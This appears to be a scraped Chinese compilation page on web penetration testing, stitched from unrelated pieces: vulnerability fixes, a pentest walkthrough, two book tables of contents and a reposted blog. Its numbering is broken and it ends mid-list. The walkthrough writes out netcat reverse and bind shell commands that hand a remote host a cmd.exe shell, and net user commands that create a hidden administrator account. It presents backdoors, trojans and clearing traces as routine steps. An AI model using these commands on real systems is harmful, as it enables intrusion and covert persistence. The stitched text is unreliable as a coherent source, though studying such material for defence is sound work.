Ⅰ 常見36種WEB滲透測試漏洞描述及解決方法-文件包含漏洞
漏洞描述:程序代碼在處理包含文件時沒有嚴格控制。可以先把上傳的靜態文件,或網站日誌文件作為代碼執行,或包含遠程伺服器上的惡意文件,獲取伺服器許可權。
解決方法:
(1)嚴格檢查變數是否已經初始化,嚴格檢查include類的文件包含函數中的參數是否外界可控;
(2)對所有輸入可能包含的文件地址,包括伺服器本地文件及遠程文件嚴格檢查,參數中不允許出現../之類的目錄跳轉符;
(3)在客戶端和服務段同時做數據的驗證與過濾。
Ⅱ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
Ⅲ Metasploit滲透測試魔鬼訓練營的作品目錄
前言致謝第1章魔鬼訓練營——初識Metasploit11.1什麼是滲透測試11.1.1滲透測試的起源與定義11.1.2滲透測試的分類21.1.3滲透測試方法與流程41.1.4滲透測試過程環節51.2漏洞分析與利用61.2.1安全漏洞生命周期71.2.2安全漏洞披露方式81.2.3安全漏洞公共資源庫91.3滲透測試神器Metasploit111.3.1誕生與發展111.3.2滲透測試框架軟體161.3.3漏洞研究與滲透代碼開發平台181.3.4安全技術集成開發與應用環境191.4Metasploit結構剖析201.4.1Metasploit體系框架211.4.2輔助模塊231.4.3滲透攻擊模塊231.4.4攻擊載荷模塊251.4.5空指令模塊261.4.6編碼器模塊261.4.7後滲透攻擊模塊271.5安裝Metasploit軟體281.5.1在Back Track上使用和更新Metasploit291.5.2在Windows操作系統上安裝Metasploit291.5.3在Linux操作系統上安裝Metasploit301.6了解Metasploit的使用介面311.6.1msfgui圖形化界面工具321.6.2msfconsole控制台終端341.6.3msfcli命令行程序361.7小結381.8魔鬼訓練營實踐作業39第2章賽寧VS.定V——滲透測試實驗環境402.1定V公司的網路環境拓撲412.1.1滲透測試實驗環境拓撲結構422.1.2攻擊機環境442.1.3靶機環境452.1.4分析環境502.2滲透測試實驗環境的搭建552.2.1虛擬環境部署562.2.2網路環境配置562.2.3虛擬機鏡像配置572.3小結632.4魔鬼訓練營實踐作業64第3章揭開「戰爭迷霧」——情報搜集技術653.1外圍信息搜集653.1.1通過DNS和IP地址挖掘目標網路信息663.1.2通過搜索引擎進行信息搜集723.1.3對定V公司網路進行外圍信息搜集793.2主機探測與埠掃描803.2.1活躍主機掃描803.2.2操作系統辨識853.2.3埠掃描與服務類型探測863.2.4Back Track 5的Autoscan功能903.2.5探測掃描結果分析913.3服務掃描與查點923.3.1常見的網路服務掃描933.3.2口令猜測與嗅探963.4網路漏洞掃描983.4.1漏洞掃描原理與漏洞掃描器983.4.2OpenVAS漏洞掃描器993.4.3查找特定服務漏洞1083.4.4漏洞掃描結果分析1093.5滲透測試信息資料庫與共享1103.5.1使用滲透測試信息資料庫的優勢1113.5.2Metasploit的資料庫支持1113.5.3在Metasploit中使用PostgreSQL1113.5.4Nmap與滲透測試資料庫1133.5.5OpenVAS與滲透測試資料庫1133.5.6共享你的滲透測試信息資料庫1143.6小結1173.7魔鬼訓練營實踐作業118第4章突破定V門戶——Web應用滲透技術1194.1Web應用滲透技術基礎知識1194.1.1為什麼進行Web應用滲透攻擊1204.1.2Web應用攻擊的發展趨勢1214.1.3OWASP Web漏洞TOP 101224.1.4近期Web應用攻擊典型案例1264.1.5基於Metasploit框架的Web應用滲透技術1284.2Web應用漏洞掃描探測1304.2.1開源Web應用漏洞掃描工具1314.2.2掃描神器W3AF1334.2.3SQL注入漏洞探測1354.2.4XSS漏洞探測1444.2.5Web應用程序漏洞探測1454.3Web應用程序滲透測試1474.3.1SQL注入實例分析1474.3.2跨站攻擊實例分析1584.3.3命令注入實例分析1664.3.4文件包含和文件上傳漏洞1744.4小結1804.5魔鬼訓練營實踐作業180第5章定V門大敞,哥要進內網——網路服務滲透攻擊1825.1內存攻防技術1825.1.1緩沖區溢出漏洞機理1835.1.2棧溢出利用原理1845.1.3堆溢出利用原理1865.1.4緩沖區溢出利用的限制條件1885.1.5攻防兩端的對抗博弈1885.2網路服務滲透攻擊面1905.2.1針對Windows系統自帶的網路服務滲透攻擊1915.2.2針對Windows操作系統上微軟網路服務的滲透攻擊1935.2.3針對Windows操作系統上第三方網路服務的滲透攻擊1945.2.4針對工業控制系統服務軟體的滲透攻擊1945.3Windows服務滲透攻擊實戰案例——MS08-067安全漏洞1965.3.1威名遠揚的超級大漏洞MS08-0671965.3.2MS08-067漏洞滲透攻擊原理及過程1975.3.3MS08-067漏洞滲透攻擊模塊源代碼解析2005.3.4MS08-067安全漏洞機理分析2055.4第三方網路服務滲透攻擊實戰案例——Oracle資料庫2115.4.1Oracle資料庫的「蟻穴」2125.4.2Oracle滲透利用模塊源代碼解析2125.4.3Oracle漏洞滲透攻擊過程2145.4.4Oracle安全漏洞利用機理2205.5工業控制系統服務滲透攻擊實戰案例——亞控科技KingView2225.5.1中國廠商SCADA軟體遭國外黑客盯梢2225.5.2KingView 6.53 HistorySvr滲透攻擊代碼解析2245.5.3KingView 6.53漏洞滲透攻擊測試過程2255.5.4KingView堆溢出安全漏洞原理分析2285.6Linux系統服務滲透攻擊實戰案例——Samba安全漏洞2325.6.1Linux與Windows之間的差異2325.6.2Linux系統服務滲透攻擊原理2335.6.3Samba安全漏洞描述與攻擊模塊解析2345.6.4Samba滲透攻擊過程2355.6.5Samba安全漏洞原理分析2415.7小結2445.8魔鬼訓練營實踐作業244第6章定V網路主宰者——客戶端滲透攻擊2466.1客戶端滲透攻擊基礎知識2466.1.1客戶端滲透攻擊的特點2476.1.2客戶端滲透攻擊的發展和趨勢2476.1.3安全防護機制2486.2針對瀏覽器的滲透攻擊2496.2.1瀏覽器滲透攻擊面2506.2.2堆噴射利用方式2506.2.3MSF中自動化瀏覽器攻擊2516.3瀏覽器滲透攻擊實例——MS11-050安全漏洞2546.3.1MS11-050漏洞滲透攻擊過程2546.3.2MS11-050漏洞滲透攻擊源碼解析與機理分析2566.4第三方插件滲透攻擊實戰案例——再探亞控科技KingView2616.4.1移植KingView滲透攻擊代碼2616.4.2KingView滲透攻擊過程2646.4.3KingView安全漏洞機理分析2656.5針對應用軟體的滲透攻擊2696.5.1應用軟體滲透攻擊機理2696.5.2內存攻擊技術ROP的實現2706.5.3MSF中的自動化fileformat攻擊2766.6針對Office軟體的滲透攻擊實例——MS10-087安全漏洞2766.6.1MS10-087滲透測試過程2776.6.2MS10-087漏洞滲透攻擊模塊源代碼解析2786.6.3MS10-087漏洞原理分析2796.6.4MS10-087漏洞利用原理2826.6.5文件格式分析2846.7Adobe閱讀器滲透攻擊實戰案例——加急的項目進展報告2866.7.1Adobe滲透測試過程2876.7.2Adobe滲透攻擊模塊解析與機理分析2896.7.3Adobe漏洞利用原理2936.8小結2986.9魔鬼訓練營實踐作業299第7章甜言蜜語背後的危險——社會工程學3007.1社會工程學的前世今生3007.1.1什麼是社會工程學攻擊3017.1.2社會工程學攻擊的基本形式3017.1.3社交網站社會工程學攻擊案例3027.2社會工程學技術框架3037.2.1信息搜集3037.2.2誘導3067.2.3托辭3087.2.4心理影響3097.3社會工程學攻擊案例——偽裝木馬3117.3.1偽裝木馬的主要方法與傳播途徑3127.3.2偽裝木馬社會工程學攻擊策劃3137.3.3木馬程序的製作3147.3.4偽裝木馬的「免殺」處理3197.3.5偽裝木馬社會工程學的實施過程3237.3.6偽裝木馬社會工程學攻擊案例總結3257.4針對性社會工程學攻擊案例——網站釣魚3257.4.1社會工程學攻擊工具包SET3257.4.2網站釣魚社會工程學攻擊策劃3257.4.3釣魚網站的製作3267.4.4網站釣魚社會工程學的實施過程3307.4.5網站釣魚社會工程學攻擊案例總結3317.5針對性社會工程學攻擊案例——郵件釣魚3317.5.1郵件釣魚社會工程學攻擊策劃3317.5.2使用SET工具集完成郵件釣魚3327.5.3針對性郵件釣魚社會工程學攻擊案例總結3387.6U盤社會工程學攻擊案例——Hacksaw攻擊3387.6.1U盤社會工程學攻擊策劃3397.6.2U盤攻擊原理3407.6.3製作Hacksaw U盤3417.6.4U盤社會工程學攻擊的實施過程3457.6.5U盤攻擊社會工程學攻擊案例總結3457.7小結3467.8魔鬼訓練營實踐作業346第8章刀無形、劍無影——移動環境滲透測試3488.1移動的Metasploit滲透測試平台3488.1.1什麼是BYOD3488.1.2下載安裝Metasploit3498.1.3在iPad上手動安裝Metasploit3508.2無線網路滲透測試技巧3518.2.1無線網路口令破解3518.2.2破解無線AP的管理密碼3558.2.3無線AP漏洞利用滲透攻擊3608.3無線網路客戶端攻擊案例——上網筆記本電腦3648.3.1配置假冒AP3648.3.2載入karma.rc資源文件3678.3.3移動上網筆記本滲透攻擊實施過程3698.3.4移動上網筆記本滲透攻擊案例總結3718.4移動環境滲透攻擊案例——智能手機3718.4.1BYOD設備的特點3728.4.2蘋果iOS設備滲透攻擊3728.4.3Android智能手機的滲透攻擊3778.4.4Android平台Metasploit滲透攻擊模塊的移植3858.5小結3918.6魔鬼訓練營實踐作業391第9章俘獲定V之心——強大的Meterpreter3939.1再探Metasploit攻擊載荷模塊3939.1.1典型的攻擊載荷模塊3949.1.2如何使用攻擊載荷模塊3959.1.3meterpreter的技術優勢3989.2Meterpreter命令詳解4009.2.1基本命令4019.2.2文件系統命令4029.2.3網路命令4049.2.4系統命令4069.3後滲透攻擊模塊4089.3.1為什麼引入後滲透攻擊模塊4089.3.2各操作系統平台分布情況4099.3.3後滲透攻擊模塊的使用方法4099.4Meterpreter在定V滲透測試中的應用4119.4.1植入後門實施遠程式控制制4119.4.2許可權提升4149.4.3信息竊取4179.4.4口令攫取和利用4199.4.5內網拓展4249.4.6掩蹤滅跡4309.5小結4319.6魔鬼訓練營實踐作業432第10章群狼出山——黑客奪旗競賽實戰43310.1黑客奪旗競賽的由來43410.2讓我們來玩玩「地下產業鏈」43610.2.1「洗錢」的競賽場景分析43710.2.2「洗錢」規則43810.2.3競賽准備與任務分工43910.3CTF競賽現場44110.3.1解題「打黑錢」44110.3.2GameBox掃描與漏洞分析44310.3.3滲透Web應用服務44810.3.4滲透二進制服務程序45110.3.5瘋狂「洗錢」45910.3.6力不從心的防禦45910.4CTF競賽結果46010.5魔鬼訓練營大結局46110.6魔鬼訓練營實踐作業461附錄A如何撰寫滲透測試報告462附錄B參考與進一步閱讀468
Ⅳ Web應用安全威脅與防治——基於OWASP Top 10與ESAPI的目錄
第1篇 引子
故事一:家有一IT,如有一寶 2
故事二:微博上的蠕蟲 3
故事三:明文密碼 5
故事四:IT青年VS禪師 5
第2篇 基礎篇
第1章 Web應用技術 8
1.1 HTTP簡介 8
1.2 HTTPS簡介 10
1.3 URI 11
1.3.1 URL 11
1.3.2 URI/URL/URN 12
1.3.3 URI比較 13
1.4 HTTP消息 13
1.4.1 HTTP方法14
1.4.2 HTTP狀態碼 19
1.5 HTTP Cookie20
1.5.1 HTTP Cookie的作用22
1.5.2 HTTP Cookie的缺點23
1.6 HTTP session23
1.7 HTTP的安全 24
第2章 OWASP 27
2.1 OWASP簡介27
2.2 OWASP風險評估方法28
2.3 OWASP Top 10 34
2.4 ESAPI(Enterprise Security API) 35
第3篇 工具篇
第3章 Web伺服器工具簡介 38
3.1 Apache 38
3.2 其他Web伺服器 39
第4章 Web瀏覽器以及調試工具 42
4.1 瀏覽器簡介 42
4.1.1 基本功能 42
4.1.2 主流瀏覽器 43
4.1.3 瀏覽器內核 44
4.2 開發調試工具 45
第5章 滲透測試工具 47
5.1 Fiddler 47
5.1.1 工作原理 47
5.1.2 如何捕捉HTTPS會話 48
5.1.3 Fiddler功能介紹 49
5.1.4 Fiddler擴展功能 56
5.1.5 Fiddler第三方擴展功能 56
5.2 ZAP 58
5.2.1 斷點調試 60
5.2.2 編碼/解碼 61
5.2.3 主動掃描 62
5.2.4 Spider63
5.2.5 暴力破解 64
5.2.6 埠掃描 65
5.2.7 Fuzzer66
5.2.8 API 66
5.3 WebScrab 67
5.3.1 HTTP代理67
5.3.2 Manual Request 69
5.3.3 Spider70
5.3.4 Session ID分析71
5.3.5 Bean Shell的支持 71
5.3.6 Web編碼和解碼 73
第6章 掃描工具簡介 74
6.1 萬能的掃描工具——WebInspect 74
6.1.1 引言 74
6.1.2 WebInspect特性 74
6.1.3 環境准備 74
6.1.4 HP WebInspect總覽 76
6.1.5 Web網站測試 79
6.1.6 企業測試 86
6.1.7 生成報告 88
6.2 開源掃描工具——w3af 91
6.2.1 w3af概述 91
6.2.2 w3af環境配置 92
6.2.3 w3af使用示例 93
6.3 被動掃描的利器——Ratproxy 94
6.3.1 Ratproxy概述 94
6.3.2 Ratproxy環境配置 95
6.3.3 Ratproxy運行 96
第7章 漏洞學習網站 98
7.1 WebGoat 98
7.2 DVWA 99
7.3 其他的漏洞學習網站 99
第4篇 攻防篇
第8章 代碼注入 102
8.1 注入的分類 104
8.1.1 OS命令注入 104
8.1.2 XPath注入109
8.1.3 LDAP注入114
8.1.4 SQL注入 118
8.1.5 JSON注入131
8.1.6 URL參數注入 133
8.2 OWASP ESAPI與注入問題的預防 135
8.2.1 命令注入的ESAPI預防 135
8.2.2 XPath注入的ESAPI預防 138
8.2.3 LDAP注入的ESAPI預防 138
8.2.4 SQL注入的ESAPI預防 141
8.2.5 其他注入的ESAPI預防 143
8.3 注入預防檢查列表 143
8.4 小結 144
第9章 跨站腳本(XSS)146
9.1 XSS簡介 146
9.2 XSS分類 146
9.2.1 反射式XSS 146
9.2.2 存儲式XSS 148
9.2.3 基於DOM的XSS 149
9.2.4 XSS另一種分類法 151
9.3 XSS危害 154
9.4 XSS檢測 156
9.4.1 手動檢測 156
9.4.2 半自動檢測 158
9.4.3 全自動檢測 158
9.5 XSS的預防 159
9.5.1 一刀切 159
9.5.2 在伺服器端預防 160
9.5.3 在客戶端預防 168
9.5.4 富文本框的XSS預防措施 170
9.5.5 CSS 172
9.5.6 FreeMarker174
9.5.7 OWASP ESAPI與XSS的預防 177
9.6 XSS檢查列表 183
9.7 小結 184
第10章 失效的身份認證和會話管理 185
10.1 身份認證和會話管理簡介185
10.2 誰動了我的琴弦——會話劫持186
10.3 請君入瓮——會話固定 188
10.4 我很含蓄——非直接會話攻擊191
10.5 如何測試 199
10.5.1 會話固定測試 199
10.5.2 用Web Scrab分析會話ID 200
10.6 如何預防會話攻擊 202
10.6.1 如何防治固定會話 202
10.6.2 保護你的會話令牌 204
10.7 身份驗證 208
10.7.1 雙因子認證流程圖 209
10.7.2 雙因子認證原理說明 210
10.7.3 隱藏在QR Code里的秘密 211
10.7.4 如何在伺服器端實現雙因子認證 212
10.7.5 我沒有智能手機怎麼辦 216
10.8 身份認證設計的基本准則216
10.8.1 密碼長度和復雜性策略 216
10.8.2 實現一個安全的密碼恢復策略 217
10.8.3 重要的操作應通過HTTPS傳輸 217
10.8.4 認證錯誤信息以及賬戶鎖定 219
10.9 檢查列表 219
10.9.1 身份驗證和密碼管理檢查列表 219
10.9.2 會話管理檢查列表 220
10.10 小結 221
第11章 不安全的直接對象引用 222
11.1 坐一望二——直接對象引用 222
11.2 不安全直接對象引用的危害 224
11.3 其他可能的不安全直接對象引用 224
11.4 不安全直接對象引用的預防 225
11.5 如何使用OWASP ESAPI預防 227
11.6 直接對象引用檢查列表 230
11.7 小結 230
第12章 跨站請求偽造(CSRF) 232
12.1 CSRF簡介 232
12.2 誰動了我的乳酪232
12.3 跨站請求偽造的攻擊原理233
12.4 剝繭抽絲見真相235
12.5 其他可能的攻擊場景236
12.5.1 家用路由器被CSRF攻擊 236
12.5.2 別以為用POST你就躲過了CSRF 238
12.5.3 寫一個自己的CSRF Redirector 241
12.5.4 利用重定向欺騙老實人 243
12.6 跨站請求偽造的檢測245
12.6.1 手工檢測 245
12.6.2 半自動CSRFTester 246
12.7 跨站請求偽造的預防250
12.7.1 用戶需要知道的一些小技巧 250
12.7.2 增加一些確認操作 250
12.7.3 重新認證 250
12.7.4 加入驗證碼(CAPTCHA) 250
12.7.5 ESAPI解決CSRF 250
12.7.6 CSRFGuard 256
12.8 CSRF檢查列表 260
12.9 小結 261
第13章 安全配置錯誤 262
13.1 不能說的秘密——Google hacking 262
13.2 Tomcat那些事 264
13.3 安全配置錯誤的檢測與預防 264
13.3.1 系統配置 264
13.3.2 Web應用伺服器的配置 268
13.3.3 資料庫 282
13.3.4 日誌配置 284
13.3.5 協議 285
13.3.6 開發相關的安全配置 291
13.3.7 編譯器的安全配置 302
13.4 安全配置檢查列表 305
13.5 小結 307
第14章 不安全的加密存儲 308
14.1 關於加密 310
14.1.1 加密演算法簡介 310
14.1.2 加密演算法作用 312
14.1.3 加密分類 313
14.2 加密數據分類 314
14.3 加密數據保護 315
14.3.1 密碼的存儲與保護 315
14.3.2 重要信息的保護 323
14.3.3 密鑰的管理 336
14.3.4 數據的完整性 339
14.3.5 雲系統存儲安全 342
14.3.6 數據保護的常犯錯誤 343
14.4 如何檢測加密存儲數據的安全性 344
14.4.1 審查加密內容 344
14.4.2 已知答案測試(Known Answer Test)344
14.4.3 自發明加密演算法的檢測 345
14.4.4 AES加密演算法的測試 345
14.4.5 代碼審查 346
14.5 如何預防不安全的加密存儲的數據347
14.6 OWASP ESAPI與加密存儲 348
14.6.1 OWASP ESAPI與隨機數 353
14.6.2 OWASP ESAPI 與FIPS 140-2 354
14.7 加密存儲檢查列表 355
14.8 小結 355
第15章 沒有限制的URL訪問357
15.1 掩耳盜鈴——隱藏(Disable)頁面按鈕357
15.2 許可權認證模型 358
15.2.1 自主型訪問控制 360
15.2.2 強制型訪問控制 360
15.2.3 基於角色的訪問控制 361
15.3 繞過認證 363
15.3.1 網路嗅探 364
15.3.2 默認或者可猜測用戶賬號 364
15.3.3 直接訪問內部URL364
15.3.4 修改參數繞過認證 365
15.3.5 可預測的SessionID365
15.3.6 注入問題 365
15.3.7 CSRF 365
15.3.8 繞過認證小結 366
15.4 繞過授權驗證 367
15.4.1 水平越權 368
15.4.2 垂直越權 369
15.5 文件上傳與下載373
15.5.1 文件上傳 373
15.5.2 文件下載和路徑遍歷 377
15.6 靜態資源 382
15.7 後台組件之間的認證383
15.8 SSO 385
15.9 OWASP ESAPI與授權 386
15.9.1 AccessController的實現387
15.9.2 一個AccessController的代碼示例390
15.9.3 我們還需要做些什麼 391
15.10 訪問控制檢查列表 393
15.11 小結 393
第16章 傳輸層保護不足 395
16.1 卧底的故事——對稱加密和非對稱加密395
16.2 明文傳輸問題 396
16.3 有什麼危害398
16.3.1 會話劫持 398
16.3.2 中間人攻擊 399
16.4 預防措施 399
16.4.1 密鑰交換演算法 400
16.4.2 對稱加密和非對稱加密結合 401
16.4.3 SSL/TLS 406
16.5 檢查列表 423
16.6 小結 423
第17章 未驗證的重定向和轉發 425
17.1 三角借貸的故事——轉發和重定向425
17.1.1 URL轉發425
17.1.2 URL重定向 426
17.1.3 轉發與重定向的區別 429
17.1.4 URL 重定向的實現方式 430
17.2 危害 438
17.3 如何檢測 439
17.4 如何預防 440
17.4.1 OWASP ESAPI與預防 441
17.5 重定向和轉發檢查列表 443
17.6 小結 443
第5篇 安全設計、編碼十大原則
第18章 安全設計十大原則 448
設計原則1——簡單易懂 448
設計原則2——最小特權 448
設計原則3——故障安全化450
設計原則4——保護最薄弱環節451
設計原則5——提供深度防禦 452
設計原則6——分隔 453
設計原則7——總體調節 454
設計原則8——默認不信任454
設計原則9——保護隱私 455
設計原則10——公開設計,不要假設隱藏秘密就是安全 455
第19章 安全編碼十大原則 457
編碼原則1——保持簡單 457
編碼原則2——驗證輸入 458
編碼原則3——注意編譯器告警459
編碼原則4——框架和設計要符合安全策略 459
編碼原則5——默認拒絕 460
編碼原則6——堅持最小許可權原則 462
編碼原則7——凈化發送到其他系統的數據 463
編碼原則8——深度預防 464
編碼原則9——使用有效的質量保證技術464
編碼原則10——採用一個安全編碼規范 465
媒體評論
這是一本帶點酷酷的工程師范兒和人文氣質的「硬貨」。作為一名資深IT文藝老人,特別喜歡這種帶著思想氣息卻又有著豐富案例娓娓道來的實用信息安全書,過去卻往往只在國外作者中讀到。正如書中開頭的引子說的那樣:「家有IT,如有一寶。」那麼在Web安全日益火爆的今天,你會不會在讀完這本書後的未來也成為傳說中讓我們頂禮膜拜的大牛呢^-^
——IDF威懾防禦實驗室益雲(公益互聯網)社會創新中心聯合創始人萬濤@黑客老鷹
伴隨互聯網的高速發展,基於B/S架構的業務系統對安全要求越來越高,安全從業人員面臨空前的壓力。如何讓安全從業人員快速掌握Web應用安全?本書以詼諧、幽默的語言,精彩、豐富的實例,幫助安全從業人員從端到端理解Web應用安全。不失為近幾年Web應用安全書籍的上佳之作。
——OWASP中國區主席SecZone高級安全顧問 RIP
很樂意看到有人將自身的資深安全積累和OWASP的最佳實踐出版成書,內容嚴謹細致卻不乏生動。這本信息安全領域的實用手冊將成為銀基安全致力於互聯網安全的參考指導書目之一,我們廣泛的電信、銀行、保險、證券和政府部門等客戶都會從中受益。
——上海銀基信息安全技術有限公司首席技術官胡紹勇(Kurau)
隨著安全訪問控制策略ACL的普及應用,互聯網企業目前面臨的安全風險面主要集中在Web服務層。其中Web應用系統在架構設計、開發編碼過程中是安全漏洞和風險引入的主要階段,而普遍地我們的架構、開發、測試崗位在安全技能與意識上恰恰是相對比較欠缺的。本書詳細介紹了Web安全基礎知識、測試平台與方法,常見漏洞形式與原理,並結合OWASP最佳實踐經驗給出預防建議、設計和編碼原則等。書中舉例生動形象,圖文代碼並茂,步驟歸納清晰。特別推薦給廣大Web開發、測試、安全崗位的朋友們。
—— 中國金山軟體集團信息安全負責人程沖
在網路攻擊愈加復雜,手段日益翻新的今天,Web攻擊依然是大多數攻擊者首選的入侵手段。反思CSDN泄密及新浪微博蠕蟲事件,Web應用的安全突顯其重要性。OWASP作為全球領先的Web應用安全研究團隊,透過本書將Web應用安全的威脅、防禦以及相關的工具進行了詳細的探討和研究。詳盡的操作步驟說明是本書的亮點之一,這些詳實且圖文並茂的內容為逐步深入學習Web應用安全提供了很好的幫助。我衷心希望這本書能夠成為信息安全專業的在校生以及應用安全相關從業人員的學習指導書。
-- 上海交通大學信息安全工程學院施勇(CISSP CISA)
Ⅳ 常見36種WEB滲透測試漏洞描述及解決方法-文件上傳
漏洞描述:文件上傳漏洞通常由於網頁代碼中的文件上傳路徑變數過濾不嚴或webserver相關解析漏洞未修復而造成的,如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站後門文件,進而遠程式控制制網站伺服器。
解決方法:
在前後端對上傳文件類型限制,如後端的擴展名檢測,重命名文件,MIME類型檢測以及限制上傳文件的大小,或將上傳文件放在安全路徑下;嚴格限制和校驗上傳的文件,禁止上傳惡意代碼的文件。同時限制相關目錄的執行許可權,防範webshell攻擊;對上傳文件格式進行嚴格校驗及安全掃描,防止上傳惡意腳本文件;設置許可權限制,禁止上傳目錄的執行許可權;嚴格限制可上傳的文件類型;嚴格限制上傳的文件路徑;文件擴展名服務端白名單校驗;文件內容服務端校驗;上傳文件重命名,並隱藏上傳文件路徑。
Ⅵ Web滲透是怎麼弄的
1.滲透目標
滲透網站(這里指定為www.xxx.com)
切記,在滲透之前要簽訂協議。
2.信息收集
建議手動檢查和掃描器選擇同時進行。
2.1 網站常規檢測(手動)
1:瀏覽www.xxx.com
1. 初步確定網站的類型:例如銀行,醫院,政府等。
2. 查看網站功能模,比如是否有論壇,郵箱等。
3. 重點記錄網站所有的輸入點(與資料庫交互的頁面),比如用戶登錄,用戶注冊,留言板等。4. 重點查看網站是否用到了一些通用的模板,比如論壇選擇了動網(dvbss),就有可能存在動網的漏洞;郵箱有可能選擇通用的郵箱系統,也有漏洞。
2: 分析網站的url1. 利用搜索引擎,搜索網站的url,快速找到網站的動態頁面。
2. 對網站的域名進行反查,查看IP,確定伺服器上的域名數,如果主頁面url檢測沒有漏洞,可以對其他的域名進行檢測。
3:審查代碼
重點對輸入代碼(比如表單)進行分析,看如何來提交輸入,客戶端做了哪些輸入的限制方法。
1. 隱藏表單欄位 hidden
2. Username,Password等
4:控制項分析
Active x 通常都是用c/c++編寫
在頁面上(通常是首頁)的源碼中搜索
1. 需要ComRaider+OD 對dll文件進行反編譯,看是否有漏洞。
2. 改變程序執行的路徑,破壞Active X 實施的輸入確認,看web的回應。
5:對常規的輸入進行手動注入測試,測試是否有sql注入和跨站漏洞,試用常規的用戶名和密碼登錄。
6:查看web伺服器的版本,確定搜索是否有低版本伺服器組件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具選擇和使用
1:web應用程序漏洞掃描工具
Appscan: (版本7.8)
掃描漏洞比較全,中文,漏洞利用率高,檢測速度慢,需要大量內存,重點推薦。
AWVS:
英文,漏洞庫完善,檢測速度慢。
JSky
中文,檢測速度快,但深度一般。
Nessus
英文,檢測速度較快,漏洞也比較完善,免費,可及時更新,B/S界面。
2:埠掃描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗組的hacker欄中)
Jsp+ORACAL: CnsaferSI
支持以上資料庫 Pangolin
5: http代理請求
Paros
6:木馬
灰鴿子
7:提權木馬
一句話木馬大馬(具體所用的木馬參考文檔和工具包(綠盟,暗組))
5: 工具推薦使用方案
Appscan掃描出的重大漏洞,進行手工檢測(注意看漏洞是如何發現的,修改漏洞的代碼,對滲透幫助很大)。
sql注入漏洞
可以選用根據網站類型選擇sql注入工具
如果是post請求類型的url,選擇使用paros代理後,修改http請求包,進行注入。
WebDEV漏洞
可以啟用發送請求(比如DELETE對方網頁)
跨站漏洞
直接將appscan的代碼輸入測試,成功後,可以嘗試跨其他腳本(比如
遍歷漏洞:
網頁的目錄,下載網站配置文件信息,和源文件進行反編譯
反編譯:
Class 可以選用java 反編譯工具
Dll (asp.net) 選用Reflector
3.分析並滲透
---------------------
作者:centos2015
來源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
Ⅶ 一個完整的滲透測試流程,分為那幾塊,每一塊有哪些內容
包含以下幾個流程:
信息收集
第一步做的就是信息收集,根據網站URL可以查出一系列關於該網站的信息。通過URL我們可以查到該網站的IP、該網站操作系統、腳本語言、在該伺服器上是否還有其他網站等等一些列的信息。
漏洞探測
當我們收集到了足夠多的信息之後,我們就要開始對網站進行漏洞探測了。探測網站是否存在一些常見的Web漏洞,比如:SQL注入 。
漏洞利用
探測到了該網站存在漏洞之後,就要對該漏洞進行利用了。不同的漏洞有不同的利用工具,很多時候,通過一個漏洞我們很難拿到網站的webshell,我們往往需要結合幾個漏洞來拿webshell。
內網滲透
